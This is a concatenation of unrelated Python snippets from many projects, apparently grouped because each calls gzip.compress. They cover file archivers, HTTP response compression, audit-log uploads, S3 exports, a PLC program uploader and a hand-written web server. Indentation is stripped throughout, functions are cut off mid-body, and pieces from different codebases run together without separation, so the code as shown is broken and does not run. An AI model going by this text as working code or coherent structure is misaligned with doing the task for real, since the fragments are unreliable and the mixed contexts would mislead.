def dump(self, file='', compress=False):
"""
Dumps content of the generator to memory or file: text or gzipped
:param file: dumps to file if specified
:param compress: gzip dumped content of a generator
:return:
"""
if file: # dumping to file
try:
with open(file, 'wb') as f:
if compress:
f.write(gzip.compress(b''.join(self.generate(opt=self.opt))))
else:
for point in self.generate(opt=self.opt):
f.write(point)
except IOError as err:
logging.error('Error dumping to <%s>: %s', (file, err))
elif not file: # in-memory dumping
if compress:
points = gzip.compress(b''.join(self.generate(opt=self.opt)))
else:
points = b''.join(self.generate(opt=self.opt))
return points
def test_gzip_uncompress(self):
self.assertEqual(
b'DRAGON',
gzip_uncompress(gzip.compress(b'DRAGON'))
)
# Check for no crash:
gzip_uncompress(gzip.compress(b'DRAGON')[:1], truncated=True)
def main(argv=None):
if (argv is None):
argv = sys.argv[1:]
arch = DefaultArchiver()
arch.debug(3)
arch.exclude(".svn")
arch.includeall(".")
arch.list()
hexdigest = arch.digest(__file__, "hexdigest.log", "md5")
file = open("hexdigest.log", "r")
contents = file.read()
file.close()
os.remove("hexdigest.log")
print hexdigest
assert hexdigest == contents
jar = JarArchiver()
jar.debug(3)
#TODO:
gzip = GzipArchiver()
gzip.debug(3)
gzip.compress(__file__, __file__ + ".gz")
gzip.decompress(__file__ + ".gz", __file__ + ".gzbak")
gzip.dump(__file__ + ".gzbak")
os.remove(__file__ + ".gz")
os.remove(__file__ + ".gzbak")
zip = ZipArchiver("../cwd.zip")
zip.debug(3)
zip.exclude(".svn")
zip.includeall(".")
zip.list()
zip.list(None, "../cwd-zip.log")
zip.assemble()
zip.list("../cwd.zip")
zip.list("../cwd.zip", "../cwd2-zip.log")
os.remove("../cwd.zip")
os.remove("../cwd-zip.log")
os.remove("../cwd2-zip.log")
tar = TarArchiver("cwd.tgz")
tar.debug(3)
tar.exclude(".svn")
tar.includeall(".")
tar.list()
tar.list(None, "cwd-tgz.log")
tar.assemble()
tar.list("cwd.tgz")
tar.list("cwd.tgz", "cwd2-tgz.log")
os.remove("cwd.tgz")
os.remove("cwd-tgz.log")
os.remove("cwd2-tgz.log")
def encode_data(file_name, python_object, mimetype='', secret_key=''):
# parse extension type
file_type = ''
extension_map = {
'.+\\.json$': 'json',
'.+\\.json\\.gz$': 'json.gz',
'.+\\.ya?ml$': 'yaml',
'.+\\.ya?ml\\.gz$': 'yaml.gz',
'.+\\.drep$': 'drep',
'.+\\.md$': 'txt',
'.+\\.txt$': 'txt'
}
import re
for key, value in extension_map.items():
file_pattern = re.compile(key)
if file_pattern.findall(file_name):
file_type = value
break
# construct file data
if file_type == 'json':
import json
byte_data = json.dumps(python_object, indent=2).encode('utf-8')
elif file_type == 'yaml':
import yaml
byte_data = yaml.dump(python_object).encode('utf-8')
elif file_type == 'json.gz':
import json
import gzip
file_bytes = json.dumps(python_object).encode('utf-8')
byte_data = gzip.compress(file_bytes)
elif file_type == 'yaml.gz':
import yaml
import gzip
file_bytes = yaml.dump(python_object).encode('utf-8')
byte_data = gzip.compress(file_bytes)
elif file_type == 'drep':
from labpack.compilers import drep
byte_data = drep.dump(python_object, secret_key)
elif file_type == 'txt':
byte_data = python_object.encode('utf-8')
elif secret_key:
from labpack.encryption import cryptolab
byte_data, secret_key = cryptolab.encrypt(python_object, secret_key)
else:
if not isinstance(python_object, bytes):
raise ValueError('%s file data must be byte data.' % file_name)
byte_data = python_object
return byte_data
def pip3line_transform(inputData): ret = None if (Pip3line_INBOUND): ret = bytearray(gzip.compress(inputData)) else: ret = bytearray(gzip.decompress(inputData)) return ret
def main():
"""
Convierte la documentación de Trello en una estructura de datos y la
imprime por salida estándar.
"""
ep = requests.get(TRELLO_API_DOC).content
root = html.fromstring(ep)
links = root.xpath('//a[contains(@class, "reference internal")]/@href')
pages = [requests.get(TRELLO_API_DOC + u)
for u in links if u.endswith('index.html')]
endpoints = []
for page in pages:
root = html.fromstring(page.content)
sections = root.xpath('//div[@class="section"]/h2/..')
for sec in sections:
ep_html = etree.tostring(sec).decode('utf-8')
ep_text = html2text(ep_html).splitlines()
match = EP_DESC_REGEX.match(ep_text[0])
if not match:
continue
ep_method, ep_url = match.groups()
ep_text[0] = ' '.join([ep_method, ep_url])
ep_doc = b64encode(gzip.compress('\n'.join(ep_text).encode('utf-8')))
endpoints.append((ep_method, ep_url, ep_doc))
print(yaml.dump(create_tree(endpoints)))
def test_forwarding_content_encoding(
compress_request, compress_response, mini_sentry, relay_chain
):
data = b"foobar"
@mini_sentry.app.route("/api/test/reflect", methods=["POST"])
def test():
_data = request.data
if request.headers.get("Content-Encoding", "") == "gzip":
_data = gzip.decompress(_data)
assert _data == data
headers = {}
if compress_response:
_data = gzip.compress(_data)
headers["Content-Encoding"] = "gzip"
return Response(_data, headers=headers)
relay = relay_chain()
relay.wait_relay_healthcheck()
headers = {"Content-Type": "application/octet-stream"}
if compress_request:
payload = gzip.compress(data)
headers["Content-Encoding"] = "gzip"
else:
payload = data
response = relay.post("/api/test/reflect", data=payload, headers=headers)
response.raise_for_status()
assert response.content == data
def servalue(key, value, compression=None):
"""Serialize key and value to a single value blob optionally applying compression."""
value = dumps([key, value])
if compression == Compression.gzip:
# See: https://quixdb.github.io/squash-benchmark/#results
value = gzip.compress(value, compresslevel=1)
return value
def push_audit_log(config: dict, instance_logs_url, account_id, region, instance_id, boot_time, fn, compress=False):
userAndPass = b64encode(bytes('{}:{}'.format(
config.get('logsink_username'),
config.get('logsink_password')),
encoding='ascii')).decode("ascii") or ''
with open(fn, 'rb') as fd:
contents = fd.read()
if compress:
contents = gzip.compress(contents)
logging.info('Pushing {} ({} Bytes) to {}..'.format(fn, len(contents), instance_logs_url))
data = {'account_id': str(account_id),
'region': region,
'instance_boot_time': boot_time,
'instance_id': instance_id,
'log_data': codecs.encode(contents, 'base64').decode('utf-8'),
'log_type': 'AUDIT_LOG'}
try:
response = requests.post(instance_logs_url, data=json.dumps(data),
headers={'Content-Type': 'application/json',
'Authorization': 'Basic {}'.format(userAndPass)})
if response.status_code == 201:
os.remove(fn)
else:
logging.warn('Failed to push audit log: server returned HTTP status {}: {}'.format(
response.status_code, response.text))
except:
logging.exception('Failed to push audit log')
def save_file(outpath, text, compress=True):
if compress is True:
text = gzip.compress(text)
if not outpath.endswith('.gz'):
outpath += '.gz'
with open(outpath, 'wb') as o:
o.write(text)
def test_SimpleHDFWriter_small():
fn = _get_tmp_file(suffix=".hdf")
n_dim = 3
writer = SimpleHDFWriter(filename=fn, dim=n_dim, labels=None)
seq_lens = [2, 3]
writer.insert_batch(
inputs=numpy.random.normal(size=(len(seq_lens), max(seq_lens), n_dim)).astype("float32"),
seq_len=seq_lens,
seq_tag=["seq-%i" % i for i in range(len(seq_lens))])
writer.close()
dataset = HDFDataset(files=[fn])
reader = _DatasetReader(dataset=dataset)
reader.read_all()
assert "data" in reader.data_keys # "classes" might be in there as well, although not really correct/existing
assert reader.data_sparse["data"] is False
assert list(reader.data_shape["data"]) == [n_dim]
assert reader.data_dtype["data"] == "float32"
assert len(seq_lens) == reader.num_seqs
for i, seq_len in enumerate(seq_lens):
assert reader.seq_lens[i]["data"] == seq_len
if sys.version_info[0] >= 3: # gzip.compress is >=PY3
print("raw content (gzipped):")
import gzip
print(repr(gzip.compress(open(fn, "rb").read())))
def write_content(self, content, content_type=None):
"""Helper method to write content bytes to output stream."""
if content_type is not None:
self.send_header(HTTP_HEADER_CONTENT_TYPE, content_type)
if 'gzip' in self.headers.get(HTTP_HEADER_ACCEPT_ENCODING, ''):
content = gzip.compress(content)
self.send_header(HTTP_HEADER_CONTENT_ENCODING, "gzip")
self.send_header(HTTP_HEADER_VARY, HTTP_HEADER_ACCEPT_ENCODING)
self.send_header(HTTP_HEADER_CONTENT_LENGTH, str(len(content)))
cors_check = (self.headers.get("Origin") in self.server.cors_origins)
cors_headers = ", ".join(ALLOWED_CORS_HEADERS)
if self.server.cors_origins and cors_check:
self.send_header(HTTP_HEADER_ACCESS_CONTROL_ALLOW_ORIGIN,
self.headers.get("Origin"))
self.send_header(HTTP_HEADER_ACCESS_CONTROL_ALLOW_HEADERS,
cors_headers)
self.end_headers()
if self.command == 'HEAD':
return
self.wfile.write(content)
def _compressDataAndNotifyQt(data_to_append):
compressed_data = gzip.compress(data_to_append.encode("utf-8"))
self._progress_message.setProgress(-1) # Tickle the message so that it's clear that it's still being used.
QCoreApplication.processEvents() # Ensure that the GUI does not freeze.
# Pretend that this is a response, as zipping might take a bit of time.
self._last_response_time = time.time()
return compressed_data
def setUp(self):
# Crete a "__category__" job
self.category_job = JobDefinition({
"plugin": "local",
"name": "__category__"
})
# Create a "generator" job
self.generator_job = JobDefinition({
"plugin": "local",
"name": "generator"
})
# Keep a variable for the (future) generated job
self.generated_job = None
# Create a result for the "__category__" job.
# It must define a verbatim copy of the "generator" job
self.category_result = MemoryJobResult({
"io_log": [
(0.0, "stdout", b'plugin:local\n'),
(0.1, "stdout", b'name:generator\n'),
]
})
# Create a result for the "generator" job.
# It will define the "generated" job
self.generator_result = MemoryJobResult({
"io_log": [(0.0, 'stdout', b'name:generated')]
})
self.job_list = [self.category_job, self.generator_job]
self.suspend_data = gzip.compress(
json.dumps(self.full_repr).encode("UTF-8"))
def _getfile(self, relpath):
"""
Returns an http.File object for the given self.path / relpath combination.
"""
fqn = abspath(join(self.path, relpath))
if not exists(fqn):
logger.debug('Not found: url=%r fqn=%r', relpath, fqn)
raise HttpError(404, relpath)
if re_dots.search(relpath):
# This means someone used ".." to try to move up out of the static directory. This
# very well may be a hack attempt.
logger.error('SECURITY: Dangerous path in file download? prefix=%s self.path=%s relpath=%s fqn=%s',
self.prefix, self.path, relpath, fqn)
raise HttpError(404, relpath)
ext = splitext(relpath)[1]
if ext not in map_ext_to_mime:
raise Exception('No mimetype for "{}" (from {!r})'.format(ext, relpath))
content = open(fqn, 'rb').read()
extinfo = map_ext_to_mime[ext]
if extinfo.compress:
content = gzip.compress(content)
entry = File(relpath, extinfo.mimetype, content, extinfo.compress, cache_control=self.cache_control)
return entry
def calc_compression_test(bcontent: bytearray, verbose: bool) -> float:
"""
Calculates the randomness of the content using the Kolmogorov complexity
We compress the content and evaluate the grade of the compression:
- lesser the compression is, higher the randomness is: len(zipped)/len(content)
:param bcontent: byte content
:param verbose:
:return: [0,1]
"""
def compress(data):
return gzip.compress(data, 9)
def get_compressed_footprint():
return len(compress(bytes([0x0])))
# if print_path:
# print("The content is: %s" % content)
len_bcontent = len(bcontent)
if len_bcontent == 0:
if verbose:
print("Empty string, nothing to do!")
return 0
len_compr_cnt = len(gzip.compress(bcontent, 9))
# deleting the footprint for the compression
len_compr_cnt_1 = (len_compr_cnt - get_compressed_footprint()) * 1.0
rand = len_compr_cnt_1 / len_bcontent
if verbose:
print("-> [Compression Test] crypto values: n: %s, d: %s, l0: %s, rand ratio: %s " % (
len_compr_cnt_1, len_bcontent, get_compressed_footprint(), rand))
return rand
def compress_textures(filenames, dest):
utils.pg_init((10, 10))
data = []
for name in filenames:
try:
textures = PackedTextureGroup(name)
except FileNotFoundError:
continue
image = textures.pack.image
rawImageStr = pg.image.tostring(image, 'RGB')
compressedImageStr = gzip.compress(rawImageStr)
utils.debug('compressed size: {}MB. ratio: {}'.format(
len(compressedImageStr) / 1024 ** 2,
len(compressedImageStr) / len(rawImageStr)
))
textureMetas = []
for p, (id, t) in zip(textures.pack.poses, textures.iter_all()):
textureMetas.append((
id, t.xoff, t.yoff, p[0], p[1], t.image.get_width(), t.image.get_height(),
))
metaItem = {
'name': textures.name,
'size': image.get_size(),
'format': 'RGB',
'image': compressedImageStr,
'textureMetas': textureMetas,
}
data.append(metaItem)
with open(dest, 'wb') as outfile:
pickle.dump(data, outfile, -1)
def send(self, data_type, data, mac=None, gzip_data=False):
"""
Args:
data_type (int): Number between 1 and 255 (1-63 are reserved)
data (string): Unicode String
Optional Args:
mac (string): Alfred server will use local mac if not set
gzip-data (bool): Send data gzip compressed
"""
client = self._get_alfred_socket()
if mac:
mac = [int(i, 16) for i in mac.strip().split(":")]
else:
# ALFRED server will fill this field
mac = [0] * ETH_ALEN
data = data.encode("UTF-8")
if gzip_data:
data = gzip.compress(data)
data_tlv = alfred_tlv.pack(data_type, ALFRED_VERSION, len(data))
source = mac_address.pack(*mac)
pkt_data = alfred_data.pack(source, data_tlv) + data
request_id = randint(0, 65535)
seq_id = 0
txm = alfred_transaction_mgmt.pack(request_id, seq_id)
tlv = alfred_tlv.pack(AlfredPacketType.ALFRED_PUSH_DATA, ALFRED_VERSION, len(pkt_data) + len(txm))
pkt_push_data = alfred_push_data_v0.pack(tlv, txm) + pkt_data
client.send(pkt_push_data)
client.close()
def update(self, view):
r = sublime.Region(0, view.size())
text = bytes(view.substr(r), 'utf-8')
bytes_len = len(gzip.compress(text))
fmt_len = sizeof_fmt(bytes_len)
view.erase_status("gzippedSize")
view.set_status("gzippedSize", "GZip %s" % fmt_len)
def push_audit_log(config: dict, instance_logs_url, account_id, region, instance_id, boot_time, fn, compress=False):
token = get_token(config, 'taupage', ['uid']) or {}
with open(fn, 'rb') as fd:
contents = fd.read()
if compress:
contents = gzip.compress(contents)
logging.info('Pushing {} ({} Bytes) to {}..'.format(fn, len(contents), instance_logs_url))
data = {'account_id': str(account_id),
'region': region,
'instance_boot_time': boot_time,
'instance_id': instance_id,
'log_data': codecs.encode(contents, 'base64').decode('utf-8'),
'log_type': 'AUDIT_LOG'}
try:
response = requests.post(instance_logs_url, data=json.dumps(data),
headers={'Content-Type': 'application/json',
'Authorization': 'Bearer {}'.format(token.get('access_token'))})
if response.status_code == 201:
os.remove(fn)
else:
logging.warn('Failed to push audit log: server returned HTTP status {}: {}'.format(
response.status_code, response.text))
except:
logging.exception('Failed to push audit log')
def export_job(request, job):
account = request.user.account
conn = S3Connection(aws_access_key_id=account.aws_access_key_id, aws_secret_access_key=account.aws_secret_access_key)
bucket = conn.get_bucket('lx-pilot')
key = Key(bucket)
key.key = job.cache_key
string = gzip.decompress(key.get_contents_as_string())
result = json.loads(string.decode('utf-8'))
rows = result.get('rows')
rows = [rm_dict_row(row) for row in rows]
output = StringIO()
writer = csv.writer(output)
writer.writerows(rows)
now = timezone.now()
key_string = 'exports/' + str(now.year) + '/' + str(now.month) + '/' + str(now.day) + '/' + str(uuid.uuid4())
export = JobExport(job=job, created_by=request.user, key=key_string)
key = Key(bucket)
key.key = export.key
key.set_metadata('Content-Type', 'text/csv')
key.set_metadata('Content-Encoding', 'gzip')
key.set_contents_from_string(gzip.compress(bytes(output.getvalue(), 'utf-8')))
key.close()
key = Key(bucket)
key.key = export.key
export.save()
return export
def send_omf_message_to_endpoint(message_type, message_omf_json):
try:
# Compress json omf payload, if specified
compression = 'none'
if USE_COMPRESSION:
msg_body = gzip.compress(bytes(json.dumps(message_omf_json), 'utf-8'))
compression = 'gzip'
else:
msg_body = json.dumps(message_omf_json)
# Assemble headers
msg_headers = {
'producertoken': PRODUCER_TOKEN,
'messagetype': message_type,
'action': 'create',
'messageformat': 'JSON',
'omfversion': '1.0',
'compression': compression
}
# Send the request, and collect the response
response = requests.post(
INGRESS_URL,
headers = msg_headers,
data = msg_body,
verify = VERIFY_SSL,
timeout = WEB_REQUEST_TIMEOUT_SECONDS
)
# Print a debug message, if desired; note: you should receive a
# response code 204 if the request was successful!
print('Response from relay from the initial "{0}" message: {1} {2}'.format(message_type, response.status_code, response.text))
except Exception as e:
# Log any error, if it occurs
print(str(datetime.datetime.now()) + " An error ocurred during web request: " + str(e))
def dbmodel(self, database):
from palladium.util import session_scope
model = Dummy(
name='mymodel',
__metadata__={'some': 'metadata', 'version': 1},
)
model_blob = gzip.compress(pickle.dumps(model), compresslevel=0)
chunk_size = 4
chunks = [model_blob[i:i + chunk_size]
for i in range(0, len(model_blob), chunk_size)]
dbmodel = database.DBModel(
version=1,
chunks=[
database.DBModelChunk(
model_version=1,
blob=chunk,
)
for chunk in chunks
],
metadata_=json.dumps(model.__metadata__),
)
with session_scope(database.session) as session:
session.add(dbmodel)
return model
def write_file_pointer(self, content_type, inp):
"""
Helper function to write a file pointer to the user.
Does not do error handling.
"""
do_gzip = 'gzip' in self.headers.get(HTTP_HEADER_ACCEPT_ENCODING, '')
self.send_response(HTTP_OK)
self.send_header(HTTP_HEADER_CONTENT_TYPE, content_type)
self.set_cache_header()
self.set_session_cookie_header()
if do_gzip:
gzip_data = gzip.compress(inp.read())
self.send_header(HTTP_HEADER_CONTENT_ENCODING, "gzip")
self.send_header(HTTP_HEADER_VARY, HTTP_HEADER_ACCEPT_ENCODING)
self.send_header(HTTP_HEADER_CONTENT_LENGTH, str(len(gzip_data)))
else:
fst = os.fstat(inp.fileno())
self.send_header(HTTP_HEADER_CONTENT_LENGTH, str(fst[6]))
self.end_headers()
if self.command == 'HEAD':
return
elif do_gzip:
self.wfile.write(gzip_data)
else:
self.copyfile(inp, self.wfile)
def setUp(self):
import gzip
import zlib
self.test_string_binary = "This is the test string.".encode("utf-8")
self.compressed_gzip = gzip.compress(self.test_string_binary)
self.compressed_zlib = zlib.compress(self.test_string_binary)
def compress(data, method):
if method == CompressionMethod.Gzip:
obj = gzip.compress(data.data())
elif method == CompressionMethod.Zlib:
obj = zlib.compress(data.data())
return QByteArray(obj)
def __jobend(job_id, cmd_rtrn, cmd_out):
post_headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'text/plain'
}
if type(cmd_out) is str:
cmd_out = cmd_out.encode('utf-8', 'replace')
else:
cmd_out = cmd_out.read()
cmd_out_encoded = ''
if cmd_out is not None:
try:
cmd_out_encoded = b64encode(gzip.compress(cmd_out))
except Exception as e:
tsadm.log.err('b64encode: ', e)
post_params = urllib.parse.urlencode({
'cmd_rtrn': cmd_rtrn,
'cmd_out': cmd_out_encoded
})
post_url = '{}/{}/'.format(end_url_prefix, job_id)
try:
conn.connect()
conn.request('POST', post_url, post_params, post_headers)
resp = conn.getresponse()
conn.close()
except Exception as e:
tsadm.log.err('jobq end: ', post_url)
tsadm.log.err('could not update: ', e)
__exit(3)
if resp.status != 200:
tsadm.log.err('jobq end: {} {} {}'.format(post_url, resp.status, resp.reason))
__exit(3)
return resp.status
async def notify(self, task_data, exchange_config):
log.debug('log_collect called for %r', task_data)
log_data = task_data.log_data()
if not log_data:
log.debug('No logs for %r', task_data)
return
s3 = boto3.resource('s3', aws_access_key_id=self.access_key_id, aws_secret_access_key=self.secret_access_key)
log_bucket = s3.Bucket(self.s3_bucket)
for run_log in log_data:
# Use gzip compression on log
log.debug('Compressing artifact.')
try:
if type(run_log['data']) is str:
log.debug('Artifact with key %s is str, converting', run_log['s3_key'])
task_log = bytes(run_log['data'], 'utf-8')
else:
task_log = run_log['data']
log_gzip = gzip.compress(task_log)
except TypeError as te:
log.exception('TypeError: %s', te)
# Upload log to S3 bucket
log_bucket.put_object(Body=log_gzip, Key=run_log['s3_key'], **HEADER)
log.info('%s: log for %r uploaded to Amazon S3', self.name, task_data)
def process(limit=None, category=0):
"""Process releases for NFO parts and download them."""
with Server() as server:
with db_session() as db:
# noinspection PyComparisonWithNone,PyComparisonWithNone
query = db.query(Release).join(Group).join(NZB).filter(Release.nfo == None).filter(
Release.nfo_metablack_id == None)
if category:
query = query.filter(Release.category_id == int(category))
if limit:
releases = query.order_by(Release.posted.desc()).limit(limit)
else:
releases = query.order_by(Release.posted.desc()).all()
for release in releases:
found = False
nzb = pynab.nzbs.get_nzb_details(release.nzb)
if nzb:
nfos = []
for nfo in nzb['nfos']:
for part in nfo['segments']:
if int(part['size']) > NFO_MAX_FILESIZE:
continue
nfos.append(part)
for nfo in nfos:
try:
article = server.get(release.group.name, [nfo['message_id'], ])
except Exception as e:
# if usenet's not accessible, don't block it forever
log.error('nfo: unable to get nfo: {}'.format(e))
continue
if article:
data = gzip.compress(article.encode('utf-8'))
nfo = NFO(data=data)
db.add(nfo)
release.nfo = nfo
release.nfo_metablack_id = None
db.add(release)
log.debug('nfo: [{}] - nfo added'.format(
release.search_name
))
found = True
break
if not found:
log.debug('nfo: [{}] - [{}] - no nfos in release'.format(
release.id,
release.search_name
))
mb = MetaBlack(nfo=release, status='IMPOSSIBLE')
db.add(mb)
db.commit()
def compress(text):
if sys.version_info < (3, 2):
out = StringIO()
with gzip.GzipFile(fileobj=out, mode="w") as f:
f.write(text)
return out.getvalue()
else:
return gzip.compress(text.encode('utf-8'))
def encode(method: str, **args) -> str:
json_str = json.dumps({
"method": method,
"params": args,
}).encode()
return base64.b64encode(gzip.compress(json_str, 9)).decode()
if not args:
parser.print_help()
sys.exit(-1)
infile = args[0]
if options.name:
name = options.name
else:
name = replacelst(os.path.basename(infile), [' ', '-', '.'], '_')
if options.outfname:
# fout = open(options.outfname, 'w+')
fout = codecs.open(options.outfname, 'w+', encoding='utf8')
else:
fout = sys.stdout
fin = open(infile, 'rb')
data = fin.read()
fin.close()
if options.compress:
data = gzip.compress(data)
size = len(data)
bin2hex(fout, name, data, size)
if options.header:
fin = c_hdr_open(options.header)
c_hdr_update(fin, name, size)
def file_to_compressed_binary(file_in):
with open(file_in, "rb") as f:
content = f.read()
return gzip.compress(content)
def _compress(content: bytes) -> bytes:
return gzip.compress(content)
def plcupload(self):
u"""Lädt das angegebene Projekt auf den RevPi.
@return True, bei erfolgreicher Verarbeitung"""
tup = self.lst_typeup.index(self.var_typeup.get())
dirselect = ""
dirtmp = None
filelist = []
fileselect = None
foldername = ""
rscfile = None
if tup == 0:
# Datei
fileselect = tkfd.askopenfilenames(
parent=self.master,
title="Upload Python program...",
initialdir=self.opt.get("plcupload_dir", homedir),
filetypes=(("Python", "*.py"), (_("All files"), "*.*"))
)
if type(fileselect) == tuple and len(fileselect) > 0:
for file in fileselect:
filelist.append(file)
elif tup == 1:
# Ordner
dirselect = tkfd.askdirectory(
parent=self.master,
title=_("Folder to upload"),
mustexist=True,
initialdir=self.opt.get("plcupload_dir", homedir)
)
# Ordnernamen merken um diesen auf RevPi anzulegen
foldername = os.path.basename(dirselect)
if type(dirselect) == str and dirselect != "":
filelist = self.create_filelist(dirselect)
elif tup == 2:
# Zip
fileselect = tkfd.askopenfilename(
parent=self.master,
title=_("Upload Zip archive..."),
initialdir=self.opt.get("plcupload_file", ""),
initialfile=self.revpi + ".zip",
filetypes=(
(_("Zip archive"), "*.zip"), (_("All files"), "*.*")
)
)
if type(fileselect) == str and fileselect != "":
# Zipdatei prüfen
if zipfile.is_zipfile(fileselect):
dirtmp = mkdtemp()
fhz = zipfile.ZipFile(fileselect)
fhz.extractall(dirtmp)
fhz.close()
filelist = self.create_filelist(dirtmp)
dirselect, rscfile = self.check_replacedir(dirtmp)
else:
tkmsg.showerror(
_("Error"),
_("The specified file is not a ZIP archive."),
parent=self.master
)
return False
elif tup == 3:
# TarGz
fileselect = tkfd.askopenfilename(
parent=self.master,
title=_("Upload TarGz archiv..."),
initialdir=self.opt.get("plcupload_file", ""),
initialfile=self.revpi + ".tar.gz",
filetypes=(
(_("TGZ archive"), "*.tar.gz"), (_("All files"), "*.*")
)
)
if type(fileselect) == str and fileselect != "":
# Tar-Datei prüfen
if tarfile.is_tarfile(fileselect):
dirtmp = mkdtemp()
fht = tarfile.open(fileselect)
fht.extractall(dirtmp)
fht.close()
filelist = self.create_filelist(dirtmp)
dirselect, rscfile = self.check_replacedir(dirtmp)
else:
tkmsg.showerror(
_("Error"),
_("The specified file is not a TAR archive."),
parent=self.master
)
return False
# Wenn keine Dateien gewählt
if len(filelist) == 0:
return True
# Vor Übertragung aufräumen wenn ausgewählt
if self.var_cleanup.get() and not self.xmlcli.plcuploadclean():
tkmsg.showerror(
_("Error"),
_("There was an error deleting the files on the "
"Revolution Pi."),
parent=self.master
)
return False
# Aktuell konfiguriertes Programm lesen (für uploaded Flag)
opt_program = self.xmlcli.get_config()
opt_program = opt_program.get("plcprogram", "none.py")
self.uploaded = True
ec = 0
for fname in filelist:
if fname == rscfile:
continue
# FIXME: Fehlerabfang bei Dateilesen
with open(fname, "rb") as fh:
# Dateinamen ermitteln
if dirselect == "":
sendname = os.path.basename(fname)
else:
# Ordnernamen in Dateipfad für RevPi übernehmen
sendname = os.path.join(
foldername,
fname.replace(dirselect, "")[1:]
)
# Prüfen ob Dateiname bereits als Startprogramm angegeben ist
if sendname == opt_program:
self.uploaded = False
# Datei übertragen
try:
ustatus = self.xmlcli.plcupload(
Binary(gzip.compress(fh.read())), sendname)
except Exception:
ec = -2
break
if not ustatus:
ec = -1
break
if ec == 0:
tkmsg.showinfo(
_("Success"),
_("The PLC program was transferred successfully."),
parent=self.master
)
if self.var_picup.get():
if rscfile is not None:
self.setpictoryrsc(rscfile)
else:
tkmsg.showerror(
_("Error"),
_("There is no piCtory configuration in this "
"archive."),
parent=self.master
)
# Einstellungen speichern
if tup == 0:
self.opt["plcupload_dir"] = os.path.dirname(fileselect[0])
elif tup == 1:
self.opt["plcupload_dir"] = dirselect
else:
self.opt["plcupload_file"] = os.path.dirname(fileselect)
self.opt["typeup"] = self.var_typeup.get()
self.opt["picup"] = self.var_picup.get()
_savedefaults(self.revpi, self.opt)
elif ec == -1:
tkmsg.showerror(
_("Error"),
_("The Revolution Pi could not process some parts of the "
"transmission."),
parent=self.master
)
elif ec == -2:
tkmsg.showerror(
_("Error"),
_("Errors occurred during transmission"),
parent=self.master
)
# Temp-Dir aufräumen
if dirtmp is not None:
rmtree(dirtmp)
return True
import pytest
from multidict import CIMultiDict
from yarl import URL
import aiohttp
from aiohttp import web
from aiohttp.test_utils import TestClient as _TestClient
from aiohttp.test_utils import TestServer as _TestServer
from aiohttp.test_utils import (AioHTTPTestCase, loop_context,
make_mocked_request, setup_test_loop,
teardown_test_loop, unittest_run_loop)
_hello_world_str = "Hello, world"
_hello_world_bytes = _hello_world_str.encode('utf-8')
_hello_world_gz = gzip.compress(_hello_world_bytes)
def _create_example_app():
@asyncio.coroutine
def hello(request):
return web.Response(body=_hello_world_bytes)
@asyncio.coroutine
def gzip_hello(request):
return web.Response(body=_hello_world_gz,
headers={'Content-Encoding': 'gzip'})
@asyncio.coroutine
def websocket_handler(request):
def parse_GET_Request(headers, cli, method=""):
# TODO
# Run tests
logger.client_addr = cli
params = {}
for i in headers[1:]:
try:
headerField = i[:i.index(':')]
if (headerField == "Accept"):
parseContentType(i[i.index(':') + 2:len(i) - 1])
params[headerField] = i[i.index(':') + 2:len(i) - 1]
except:
pass
# Return 406 on not getting file with desired accept
par = matchAccept()
ctype = ""
path = headers[0].split(' ')[1]
if ('*/*' in par or 'text/html' in par):
ctype = "text/html"
if ('.' in path):
extension = '.' + path.split('.')[1]
if (extension != '.html'):
f = getExtension(mediaTypes)
if (extension == ".min"):
extension = ".js"
ctype = f[extension]
for i in par:
file = path.split('.')[0] + '.' + i.split('/')[1]
if os.path.exists(documentRoot + file):
ctype = i
break
length = 0
try:
k = params['Accept']
except:
k = "*/*"
if (ctype == ""):
reqParams = {'code': 406, 'ctype': k, 'length': 0, 'etag': ''}
res = generateGET(reqParams)
logger.generateError(headers[0], res)
return res, ""
try:
if (path == "/"):
path = documentRoot + 'index.html'
else:
try:
try:
extension = '.' + path.split('.')[1]
except:
extension = '.' + ctype.split('/')[1]
path = documentRoot + path
except Exception as e:
logger.ServerError(e)
for i in par:
if (os.path.exists(documentRoot + i)):
ctype = i
break
reqParams = {
'length': 0,
'code': 200,
'ctype': ctype,
'etag': '',
}
if ('.' not in path.split('\n')[-1]):
path += '.' + ctype.split('/')[1]
f = open(path, "rb")
resource = f.read()
lastModified = os.path.getmtime(path)
Etag = generateEtag(lastModified, len(resource))
try:
length = len(resource)
except:
pass
reqParams['etag'] = Etag
reqParams['length'] = length
if ('Cookie' in params.keys()):
reqParams['Cookie'] = params['Cookie']
if (method == "HEAD"):
res = generateGET(reqParams)
logger.generate(headers[0], res)
print(res)
return res, ""
#415
if ('Content-Encoding' in params.keys() and params['Content-Encoding']
not in entityHeaders['Content-Encoding']):
res = generateResponse(0, 415)
f.close()
logger.generateError(headers[0], res)
return res, ""
res = generateGET(reqParams)
if ('If-None-Match' in params.keys()):
e = Etag
if (e == params['If-None-Match']):
reqParams['code'] = 304
reqParams['length'] = 0
res = generateGET(reqParams)
logger.generate(headers[0], res)
# if ('If-Modified-Since' in params.keys()):
# # print(datetime(params['If-Modified-Since']))
# months = {
# 'Jan' : 1, 'Feb' : 2, 'Mar' : 3, 'Apr' : 4, 'May' :5, 'Jun' : 6,
# 'Jul' : 7, 'Aug' : 8, 'Sep' : 9, 'Oct' : 10,'Nov' : 11, 'Dec' : 12
# }
# l = params['If-Modified-Since'][5:].split(' ')
# timeString = l[3].split(':')
# hours, minutes, seconds = int(timeString[0]), int(timeString[1]), int(timeString[2])
# day, month, year = int(l[0]), months[l[1]], int(l[2])
# time = datetime(year,month, day, hours, minutes, seconds)
# timeMillis = millis(time)
# print(lastModified, timeMillis)
# if(lastModified > timeMillis):
# reqParams['code'] = 304
# reqParams['length'] = 0
# res = generateGET(reqParams)
# logger.generate(headers[0],res)
#Successfull Content Encoding
if ('Accept-Encoding' in params.keys()):
if (params['Accept-Encoding'] == 'gzip'):
newres = ''
for i in res.split('\r\n'):
if ('Content-Length' in i):
continue
else:
newres += i + '\r\n'
resource = gzip.compress(resource)
newres = newres[:len(newres) -
4] + 'Content-Length: {}\r\n'.format(
len(resource)
) + 'Accept-Encoding: gzip' + '\r\n\r\n'
res = newres
elif (params['Accept-Encoding'] == 'deflate'):
newres = ''
for i in res.split('\r\n'):
if ('Content-Length' in i):
continue
else:
newres += i + '\r\n'
resource = zlib.compress(resource)
newres = newres[:len(newres) -
4] + 'Content-Length: {}\r\n'.format(
len(resource)
) + 'Accept-Encoding: deflate' + '\r\n\r\n'
res = newres
elif (params['Accept-Encoding'] == 'br'):
newres = ''
for i in res.split('\r\n'):
